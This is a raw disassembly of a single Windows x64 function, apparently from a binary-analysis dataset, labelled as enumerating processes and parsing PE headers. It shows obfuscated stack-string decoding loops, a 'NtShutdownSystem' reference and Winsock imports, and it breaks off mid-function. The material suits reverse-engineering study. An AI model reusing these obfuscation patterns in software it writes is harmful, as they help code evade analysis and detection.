Function at 0x14011d920
Capabilities:
Enumerate processes
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x300]
sub rsp, 0x400
mov rax, qword [0x140278800]
xor rax, rsp
mov qword [rbp + 0x2f0], rax
mov rdi, rdx
mov qword [rbp + 0xe0], rdx
mov r13, qword [0x1402cdd78]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.14011cbc0
mov rcx, r13
call fcn.14011d8b0
test al, al
jne 0x1401226b9
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x158], xmm0
mov qword [rbp + 0x168], rax
lea rcx, [rbp + 0x158]
call fcn.140005a80
nop
mov edx, 0x26e0
lea rcx, [rbp + 0x158]
call fcn.140126160
lea r9, [rbp + 0x158]
lea r8, str.NtShutdownSystem
lea rdx, [0x14024ebe0]
lea rcx, [rbp + 0xf0]
call fcn.140135250
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x170], xmm0
movups xmmword [rbp + 0x180], xmm0
movups xmmword [rbp + 0x190], xmm0
movups xmmword [rbp + 0x1a0], xmm0
mov qword [rbp + 0x1b0], rax
lea rdx, [rbp + 0x158]
lea rcx, [rbp + 0xf8]
call fcn.140103140
mov rdx, rax
lea rcx, [rbp + 0x170]
call fcn.14003a4c0
nop
call fcn.14011be30
test al, al
jne 0x14011e6c1
mov dword [rbp - 0x58], 0xe5e3dfd9
mov dword [rbp - 0x54], 0xd326e4dc
mov dword [rbp - 0x50], 0x282625d7
mov dword [rbp - 0x4c], 0x1bde1d19
mov dword [rbp - 0x48], 0x1638242a
mov dword [rbp - 0x44], 0xe5e4e326
mov word [rbp - 0x40], 0xcbe6
mov byte [rbp - 0x3e], 0xaa
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x3d], xmm0
mov qword [rbp - 0x2d], rax
movabs rsi, 0xbf6e3313b46c99ae
movabs r12, 0x83053f62764e5076
movabs r14, 0x23d96a763c85b012
movabs r15, 0x1dceebb14fe90f26
movabs r13, 0x17c46cec634c6e3a
movzx r11d, byte [rbp + 0x150]
nop dword [rax]
mov r8, qword [0x1402cdf20]
mov r9, qword [0x1402cdf18]
nop
xor edi, edi
cmp rdi, 0x33
jae 0x14011e6b8
movzx r10d, byte [rbp + rdi - 0x58]
movzx ebx, r10b
cmp r8, rdi
ja 0x14011e6ac
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14011db02
lea rcx, [rdi + r12]
mov rax, r10
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, r10
add r11, rcx
sub r11b, 0x3a
jmp 0x14011db55
je 0x14011e62d
inc rax
cmp r8, rax
je 0x14011e5a4
lea rax, [r9 + 3]
cmp r8, rax
je 0x14011e56d
lea rax, [r9 + 2]
cmp r8, rax
je 0x14011e54a
lea rax, [r9 + 5]
cmp r8, rax
je 0x14011e4fd
lea rax, [r9 + 7]
cmp r8, rax
je 0x14011e4d4
lea rax, [r9 + 6]
cmp r8, rax
je 0x14011e48a
movzx ebx, r10b
nop dword [rax]
cmp r9, rdi
ja 0x14011e6a0
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x14011db8f
lea rdx, [rdi + rsi]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14011dbc2
lea rax, [r9 + 1]
cmp r8, rax
je 0x14011e46a
inc rax
cmp r8, rax
je 0x14011e43a
lea rax, [r9 + 4]
cmp r8, rax
je 0x14011e414
lea rax, [r9 + 3]
cmp r8, rax
je 0x14011e3f1
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x14011e125
nop
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14011e106
lea rax, [r9 + 1]
cmp r8, rax
je 0x14011e0e3
lea rax, [r9 + 8]
cmp r8, rax
je 0x14011e0be
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14011e0a0
lea rcx, [r9 + 0x400]
cmp r8, rcx
je 0x14011e07e
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14011e064
lea rax, [r9 + 6]
cmp r8, rax
je 0x14011e045
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14011e02b
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14011dffe
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14011dbd0
mov r8, rcx
lea r9, [rcx + 0x42]
lea rax, [r9 + 0x2a]
cmp rcx, rax
jb 0x14011e67f
lea rax, [r9 + 6]
cmp rcx, rax
jb 0x14011e662
lea rax, [r9 + 0x28]
cmp rcx, rax
jb 0x14011ddbf
lea rax, [r9 + 0x3e8]
cmp rcx, rax
jb 0x14011dda0
lea rcx, [r9 + 0x5a]
cmp r8, rcx
jb 0x14011dd81
lea rax, [r9 + 5]
cmp r8, rax
jb 0x14011dfae
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14011df6b
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14011df2b
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14011df08
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14011dbd0
mov r8, rcx
lea r9, [rcx + 0x10]
lea rax, [r9 + 5]
cmp rcx, rax
ja 0x14011dedf
lea rax, [r9 + 0x20]
cmp rcx, rax
ja 0x14011dec0
lea rax, [r9 + 0x200]
cmp rcx, rax
ja 0x14011dea2
lea rax, [r9 + 0x41]
cmp rcx, rax
ja 0x14011de83
lea rcx, [r9 + 4]
cmp r8, rcx
ja 0x14011de65
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14011de46
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14011de25
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14011ddfd
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14011dddf
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14011dbd0
mov r8, rcx
lea r9, [rcx + 0x64]
jmp 0x14011dbd0
lea rdx, [rdi + r14]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x7e
add r11b, dl
jmp 0x14011dbc2
lea rdx, [rdi + r15]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0xa
add r11b, dl
jmp 0x14011db60
lea rdx, [rdi + r13]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14011dad6
lea edx, [rdi + 0x70]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x10
add r11b, dl
jmp 0x14011e4af
lea edx, [rdi - 0x7c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x14011dac2
lea ecx, [rdi - 0x68]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x28
dec rdi
inc rdi
jmp 0x14011dac2
lea edx, [rdi - 0x54]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14011e523
lea ecx, [rdi - 0x40]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x40
add r8, r9
jmp 0x14011e58b
lea edx, [rdi - 0x2c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14011e58b
lea edx, [rdi - 0x18]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x58
add r11b, dl
jmp 0x14011e5ca
lea edx, [rdi - 4]
movzx eax, r10b
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14011e5f0
lea ecx, [rdi + 0x10]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x70
movzx eax, byte [rbp + rdi - 0x58]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14011dac2
lea ecx, [rdi - 0x3e]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x4e
mov byte [rbp + rdi - 0x58], r11b
inc rdi
jmp 0x14011dac2
lea edx, [rdi - 0x2a]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
cmp r9, 0x61
jb 0x14011df1e
lea edx, [rdi + 4]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x38]
jmp 0x14011e4af
lea edx, [rdi - 0x16]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x66
add r11b, dl
cmp r8, 0x80
jae 0x14011e3ae
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x14011e2d4
lea edx, [rdi - 0x34]
movzx eax, r10b
and al, dl
mov ecx, gethostname
jmp 0x14011df39
lea edx, [rdi - 2]
movzx eax, r10b
and al, dl
mov ecx, 7
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
lea rax, [r8 + r9]
cmp rax, 0x1000
je 0x14011e3d0
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x14011e1fa
lea edx, [rdi + 0x1e]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14011df81
lea edx, [rdi + 0x14]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rdi - 0x58]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14011dac2
lea ecx, [rdi + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x18
jmp 0x14011e5f0
lea edx, [rdi + 0x3c]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14011e5ca
lea ecx, [rdi + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x30
jmp 0x14011e58b
lea edx, [rdi + 0x64]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
add r8, r9
jmp 0x14011e58b
movzx ebx, dil
lea ecx, [rbx + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x48
jmp 0x14011e527
lea edx, [rdi - 0x74]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rdi
inc rdi
jmp 0x14011dac2
lea ecx, [rdi - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x60
inc r9
dec rdi
inc rdi
jmp 0x14011dac2
lea edx, [rdi - 0x4c]
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14011e4af
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x14011e149
lea rcx, [rdi + r12]
movzx eax, r10b
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x3a
jmp 0x14011dfc8
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14011e17f
lea edx, [rdi + 0x5c]
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rdi - 0x58]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14011dac2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14011e1a7
lea edx, [rdi + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14011e58b
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14011e1d3
movzx ebx, dil
lea edx, [rbx - 8]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14011e527
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14011dfc8
lea ecx, [rdi - 0x44]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x24
jmp 0x14011e4af
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14011e221
lea edx, [rdi + 0xa]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x46
add r11b, dl
jmp 0x14011e4af
inc rax
cmp r8, rax
jne 0x14011e24c
movzx ebx, dil
lea edx, [rbx - 0x32]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14011e527
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14011e273
lea ecx, [rdi - 0x46]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x16
add r8, r9
jmp 0x14011e58b
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14011e29a
lea edx, [rdi + 0x7e]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x72
add r11b, dl
jmp 0x14011e5f0
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14011df84
lea edx, [rdi + 0x6a]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rdi - 0x58]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14011dac2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14011e306
lea ecx, [rdi - 0x48]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 8
movzx eax, byte [rbp + rdi - 0x58]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14011dac2
inc rax
cmp r8, rax
jne 0x14011e32c
lea edx, [rdi - 0x5c]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x7c
add r11b, dl
jmp 0x14011e5f0
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14011e357
lea edx, [rdi + 0x68]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
add r8, r9
jmp 0x14011e58b
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14011e382
movzx ebx, dil
lea edx, [rbx + 0x54]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x4c
add r11b, dl
jmp 0x14011e527
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14011df45
lea edx, [rdi + 0x18]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14011e4af
movzx ebx, dil
lea edx, [rbx - 0x10]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 0x38
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x14011e527
lea edx, [rdi - 0x24]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, r10b
sub r11b, 4
add r11b, dl
jmp 0x14011e5ca
movabs rax, 0xe3ad2bb140185f36
add rax, rdi
and r10b, al
add r10b, r10b
sub bl, r10b
lea r11d, [rax + rbx]
sub r11b, 0x7a
jmp 0x14011e58b
movabs rax, 0xdda2acec537bbe4a
add rax, rdi
and r10b, al
add r10b, r10b
sub bl, r10b
lea r11d, [rax + rbx]
sub r11b, 6
add r8, r9
jmp 0x14011e58b
movabs rcx, 0xcb83309d8da5db86
add rcx, rdi
and r10b, cl
mov eax, Ordinal_46
sub al, r10b
lea r11d, [rax + rax]
add r11b, bl
add r11b, cl
inc r9
dec rdi
inc rdi
jmp 0x14011dac2
movabs rcx, 0xc578b1d8a1093a9a
add rcx, rdi
and r10b, cl
add r10b, r10b
movzx r11d, bl
sub r11b, r10b
sub r11b, 0x36
jmp 0x14011e4a8
movabs rcx, 0xb963b44ec7cff8c2
add rcx, rdi
and r10b, cl
add r10b, r10b
movzx r11d, bl
sub r11b, r10b
sub r11b, 0x4e
movzx r10d, bl
add r11b, cl
lea ecx, [rdi + 0x7a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x56
add cl, r10b
mov byte [rbp + rdi - 0x58], cl
inc r9
dec rdi
inc rdi
jmp 0x14011dac2
movabs rax, 0xad4eb6c4ee96b6ea
add rax, rdi
and r10b, al
add r10b, r10b
sub bl, r10b
lea r11d, [rax + rbx]
sub r11b, 0x66
dec rdi
inc rdi
jmp 0x14011dac2
movabs rcx, 0xa744380001fa15fe
add rcx, rdi
and r10b, cl
mov eax, 7
sub al, r10b
lea r11d, [rax + rax]
add r11b, bl
add r11b, cl
movzx r10d, bl
movzx ebx, dil
add bl, 0x66
movzx eax, bl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
add cl, cl
add cl, r11b
add cl, bl
add cl, r10b
mov byte [rbp + rdi - 0x58], cl
add r8, r9
jmp 0x14011e58b
movabs rax, 0xa139b93b155d7512
add rax, rdi
and r10b, al
add r10b, r10b
sub bl, r10b
lea r11d, [rax + rbx]
sub r11b, 0x7e
add r8, r9
jmp 0x14011e58b
movabs rax, 0x9b2f3a7628c0d426
add rax, rdi
and r10b, al
add r10b, r10b
sub bl, r10b
lea r11d, [rax + rbx]
sub r11b, 0xa
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14011dac2
movabs rcx, 0x9524bbb13c24333a
add rcx, rdi
and r10b, cl
mov eax, gethostname
sub al, r10b
lea r11d, [rax + rax]
add r11b, bl
add r11b, cl
movzx r10d, bl
lea edx, [rdi + 0x52]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x3e
add cl, dl
movzx eax, cl
mov byte [rbp + rdi - 0x58], al
inc r9
add rax, r9
sub rdi, rax
lea ecx, [rdi - 0x38]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x78
add r10b, cl
mov byte [rbp + rdi - 0x58], r10b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi - 0x58]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14011dac2
movabs rcx, 0x890fbe2762eaf162
add rcx, rdi
and r10b, cl
mov eax, reloc.WLDAP32.dll_Ordinal_41
sub al, r10b
lea r11d, [rax + rax]
add r11b, bl
add r11b, cl
movzx eax, byte [rbp + rdi - 0x58]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14011dac2
add dil, 0x4e
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
lea r11d, [rdi + r10]
sub r11b, 0x22
jmp 0x14011dac0
add dil, 0x62
movzx eax, r10b
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dil
jmp 0x14011dab0
lea rdx, [rbp + 0x15e0ef0]
jmp 0x140122629
lea rdx, [rbp + 0x16c5f66]
jmp 0x140122629
lea rdx, [rbp - 0x58]
jmp 0x140122629
lea rcx, [rbp + 0x151]
call fcn.140044c70
mov dword [rbp - 0x20], 0xd1ebd3e2
mov dword [rbp - 0x1c], 0xe728dfe1
mov dword [rbp - 0x18], 0x152cd8e9
mov dword [rbp - 0x14], 0xd7221a19
mov dword [rbp - 0x10], 0x1f13241a
mov dword [rbp - 0xc], 0xedea1d11
mov word [rbp - 8], 0xb3ec
mov byte [rbp - 6], 0xbc
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 5], xmm0
mov qword [rbp + 0xb], rax
movabs rsi, 0xdc28cdf82f439c75
movabs r15, 0x51da1c94ad94733
movabs r14, 0x947a69e88dcad55f
movzx ebx, byte [rbp + 0x150]
nop dword [rax]
nop word [rax + rax]
mov rax, qword [0x1402cdf20]
mov r9, qword [0x1402cdf18]
nop
xor edi, edi
cmp rdi, 0x33
jae 0x14011f234
movzx r11d, byte [rbp + rdi - 0x20]
mov r8d, r11d
cmp rax, rdi
ja 0x14011f22b
lea rdx, [r9 + 1]
cmp rax, rdx
jae 0x14011e790
lea rdx, [rdi + rsi]
mov rcx, r8
and rcx, rdx
imul rbx, rcx, 0xfffffffffffffffe
add rbx, r8
add rbx, rdx
sub bl, 0x33
jmp 0x14011e7bd
je 0x14011f1c3
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x14011f142
lea rcx, [rdx + 1]
cmp rax, rcx
je 0x14011f0ef
lea rcx, [r9 + 7]
cmp rax, rcx
je 0x14011f0ac
movzx r10d, dil
cmp r9, rdi
ja 0x14011f222
lea rdx, [r9 + 4]
cmp rax, rdx
jae 0x14011e7ea
lea edx, [r10 - 0x67]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x2f
jmp 0x14011e810
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x14011f095
inc rcx
cmp rax, rcx
je 0x14011f079
cmp rax, rdx
je 0x14011f05f
nop dword [rax]
lea rcx, [rax + r9]
cmp rcx, rdi
jbe 0x14011ed61
nop dword [rax]
lea rcx, [r9 + 0x41]
cmp rax, rcx
je 0x14011ed41
lea rcx, [r9 + 0x61]
cmp rax, rcx
je 0x14011ed1c
lea rcx, [r9 + 0x400]
cmp rax, rcx
je 0x14011ecf6
lea rcx, [r9 + 9]
cmp rax, rcx
je 0x14011ecdc
lea rcx, [r9 + 6]
cmp rax, rcx
je 0x14011ecbc
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x14011ec9c
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x14011ec82
lea rcx, [r9 + 0x80]
cmp rax, rcx
je 0x14011ec62
lea rcx, [r9 + 0x42]
cmp rax, rcx
je 0x14011ec38
lea rcx, [r9 + 0x28]
cmp rax, rcx
je 0x14011e820
lea rax, [r9 + 0x20]
lea r9, [rax + 1]
lea rcx, [r9 + 0x2a]
cmp rax, rcx
jb 0x14011f206
lea rcx, [r9 + 0x41]
cmp rax, rcx
jb 0x14011f1ea
lea rcx, [r9 + 0x61]
cmp rax, rcx
jb 0x14011ea08
lea rcx, [r9 + 0x10]
cmp rax, rcx
jb 0x14011e9ee
lea rcx, [r9 + 9]
cmp rax, rcx
jb 0x14011e9d4
lea rcx, [r9 + 6]
cmp rax, rcx
jb 0x14011ebf1
lea rcx, [r9 + 4]
cmp rax, rcx
jb 0x14011ebae
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
jb 0x14011eb6e
lea rcx, [r9 + 0x80]
cmp rax, rcx
jb 0x14011eb4b
lea rcx, [r9 + 0x42]
cmp rax, rcx
jb 0x14011e820
lea rax, [r9 + 0x40]
lea r9, [rax + 3]
lea rcx, [r9 + 2]
cmp rax, rcx
ja 0x14011eb21
lea rcx, [r9 + 0x2a]
cmp rax, rcx
ja 0x14011eb01
lea rcx, [r9 + 0x41]
cmp rax, rcx
ja 0x14011eae7
lea rcx, [r9 + 0x61]
cmp rax, rcx
ja 0x14011eacb
lea rcx, [r9 + 0x10]
cmp rax, rcx
ja 0x14011eaab
lea rcx, [r9 + 9]
cmp rax, rcx
ja 0x14011ea8d
lea rcx, [r9 + 6]
cmp rax, rcx
ja 0x14011ea67
lea rcx, [r9 + 0x1000]
cmp rax, rcx
ja 0x14011ea42
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
ja 0x14011ea24
lea rcx, [r9 + 0x80]
cmp rax, rcx
ja 0x14011e820
lea rax, [r9 + 0x64]
lea r9, [rax + 0x42]
jmp 0x14011e820
lea edx, [r10 - 0x79]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
add bl, 0x4f
jmp 0x14011e810
lea edx, [r10 - 0x63]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x4b
jmp 0x14011e7c1
sub r10b, 0x4d
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
add bl, 0x1b
jmp 0x14011e765
lea r8d, [r10 - 0x38]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx ebx, r11b
sub bl, cl
sub bl, 0x78
add bl, r8b
jmp 0x14011f0c5
sub r10b, 0x22
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
lea ebx, [r10 + r11]
sub bl, 0x12
inc r9
dec rdi
inc rdi
jmp 0x14011e752
sub r10b, 0xc
movzx ecx, r11b
and cl, r10b
mov edx, Ordinal_46
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r11b
add bl, r10b
dec rdi
inc rdi
jmp 0x14011e752
lea r8d, [r10 + 0xa]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx ebx, r11b
sub bl, cl
sub bl, 0x46
add bl, r8b
jmp 0x14011f108
add r10b, 0x20
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WS2_32.dll_recv
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r11b
jmp 0x14011f127
add r10b, 0x36
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x7a
jmp 0x14011f12a
lea edx, [r10 + 0x4c]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x14
jmp 0x14011f15a
add r10b, 0x62
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_41
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r11b
jmp 0x14011f182
add r10b, 0x78
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x48
movzx ecx, byte [rbp + rdi - 0x20]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x14011e752
add r10b, 0x2f
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x49
mov byte [rbp + rdi - 0x20], bl
inc rdi
jmp 0x14011e752
lea edx, [r10 + 0x45]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
add bl, 0x1d
cmp r9, 0x64
jb 0x14011eb62
lea edx, [r10 - 0x62]
movzx ecx, dl
and cl, r11b
mov r8d, reloc.WS2_32.dll_socket
sub r8b, cl
add r8b, r8b
add r8b, dl
add r8b, r11b
lea ebx, [r8 + r8]
jmp 0x14011f0c5
lea edx, [r10 + 0x5b]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x7d
cmp rax, 0x40
jae 0x14011f02a
lea rcx, [r9 + 0x28]
cmp rax, rcx
jbe 0x14011ef1c
lea edx, [r10 + 0x7a]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x56
jmp 0x14011eb83
lea edx, [r10 + 0x71]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x17
lea rcx, [rax + r9]
cmp rcx, 0x20
je 0x14011f049
lea rcx, [r9 + 0x10]
cmp rax, rcx
jbe 0x14011ee81
lea edx, [r10 - 0x1f]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x27
jmp 0x14011ebc3
sub r10b, 0x6a
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x1a
movzx ecx, byte [rbp + rdi - 0x20]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x14011e752
sub r10b, 0x54
movzx ecx, r10b
and cl, r11b
mov edx, Ordinal_41
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r11b
jmp 0x14011f182
lea edx, [r10 - 0x3e]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x4e
jmp 0x14011f15a
sub r10b, 0x28
movzx ecx, r10b
and cl, r11b
mov edx, recv
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r11b
jmp 0x14011f12a
sub r10b, 0x12
movzx ecx, r10b
and cl, r11b
mov edx, 0x3f
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r11b
jmp 0x14011f127
lea edx, [r10 + 4]
movzx ecx, dl
and cl, r11b
